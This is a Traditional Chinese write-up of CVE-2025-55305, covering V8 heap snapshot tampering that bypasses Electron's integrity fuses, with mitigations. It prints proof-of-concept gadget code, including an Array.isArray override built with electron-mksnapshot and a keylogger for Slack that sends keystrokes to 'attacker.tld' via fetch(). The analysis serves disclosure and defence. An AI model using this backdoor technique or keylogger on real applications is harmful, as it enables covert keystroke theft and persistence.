
摘要
這份報告針對 CVE-2025-55305 進行了深入的技術分析,此弱點影響 Electron 應用程式,使本機攻擊者可以透過篡改 V8 堆積快照(Heap snapshot)檔案來繞過程式碼完整性檢查。本分析著重於底層實作、gadget 使用、概念驗證 payloads,以及對基於 Chromium 生態系的影響—突顯其攻擊途徑、緩解措施和結構考量。

1. 背景與攻擊面
Electron 應用程式仰賴兩個可選的完整性 fuses—
EnableEmbeddedAsarIntegrityValidation
和
OnlyLoadAppFromAsar
—來確保應用程式程式碼與開發者封裝的內容相符,並分別獨家從 ASAR 存檔中載入
[1]
。然而,這些 fuses 並不將 V8 堆積快照檔案視為可執行的內容,因此會跳過完整性驗證
[1]
。由於 Electron 應用程式通常安裝在使用者可寫入的目錄中,擁有檔案系統存取權限(但沒有提升權限)的攻擊者可以覆寫 snapshot,來植入 malicious logic 而不破壞可執行檔簽章或 ASAR 完整性檢查
[1]
。
2. 透過快照篡改進行攻擊的機制
V8 使用預先計算的堆積快照—序列化的記憶體映像—來加速 context 初始化,這類似於解凍冷凍食品以節省時間 [1] 。這些快照在反序列化後會重建一個 V8 isolate(沙箱化的 JS context)。儘管它們不能直接執行,但其內容可以覆寫 JavaScript builtins,而這些內容將在正常的應用程式邏輯流程下執行 [1] 。這使得持久化得以隱蔽地進行,而不會觸發應用程式層級的完整性或作業系統程式碼簽章檢查。
3. Gadget 搜獵技術
攻擊者利用
electron-mksnapshot
製作惡意的堆積快照,注入 gadgets 來覆寫 builtins,例如
Array.isArray
[1]
。一個最小的 gadget 範例:
- // npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
- // Copy resulting file over the app’s v8_context_snapshot.bin
- const orig = Array.isArray;
- Array.isArray = function() {
- throw new Error("testing isArray gadget");
- };
這會導致在呼叫
Array.isArray
時發生 crash,證明即使是受到完整性保護的應用程式,仍然會透過 snapshots 載入未簽章的程式碼
[1]
。
一個更進階的 gadget 利用
process.pid
來區分 process context,並有選擇地執行 payloads,從而對哪個 isolate 執行 malicious logic 進行精細控制
[1]
。
4. 概念驗證 Backdoors
研究人員使用 gadgets,為知名的 Electron 應用程式(如 Slack、1Password 和 Signal)創建了 backdoors。例如,在 Slack 中,覆寫
Array.isArray
可以在 renderer 中安裝一個簡單的 keylogger:
- Array.isArray = function() {
- try {
- if (!alert) return orig(...arguments);
- } catch (_) {
- return orig(...arguments);
- }
- if (!globalThis._invoke_lock) {
- globalThis._invoke_lock = true;
- setInterval(() => {
- window.onkeydown = (e) => {
- fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), { "mode": "no-cors" })
- }
- }, 1000);
- }
- return orig(...arguments);
- };
這說明了快照篡改如何繞過完整性驗證,即使在已簽章的應用程式中也能啟用任意程式碼執行 [1] 。
5. 系統性影響與範圍
由於 Electron、Chrome 和其他基於 Chromium 的軟體共享 V8 snapshot 機制,且通常位於使用者可寫入的 paths,這項技術對一大類應用程式構成供應鏈式的 Threat actor [1] 。Chrome 的 Threat actor 模型明確將本機攻擊排除在外,這意味著大規模的 Exploitation 可能會被忽視 [1] 。此底層弱點已被歸類為 CVE-2025-55305。
6. Mermaid 圖表:攻擊流程
下圖是一個總結攻擊流程的 mermaid 圖表:
malicious
v8_snapshot.bin] B[Application
loads snapshot
at startup] C[Injected
gadget
overrides
JS builtin] D[Malicious
code
executes
in V8
isolate
context] E[Persistence
and
stealth
achieved] A --> B --> C --> D --> E
7. 緩解策略
- 確保完整性 fuses 已啟用並擴展至包含 V8 快照檔案。
- 限制應用程式目錄的寫入權限至非寫入位置。
- 考慮在 runtime 進行外部快照簽章或 checksum 驗證。
- 採用主動式 runtime 監控,以偵測對 builtin 函式的異常覆寫。
結論
弱點 CVE-2025-55305 揭示了 Electron 和類似平台在應用程式完整性模型中存在的一個根本性漏洞:將 V8 堆積快照排除在完整性檢查之外。透過允許透過快照來源注入未簽章的程式碼,攻擊者可以隱密地植入持久性 backdoors—且不被簽章驗證發現。有效的緩解措施需要將完整性機制擴展至涵蓋快照檔案、實施更嚴格的檔案權限,並監控 builtin 函式行為的異常。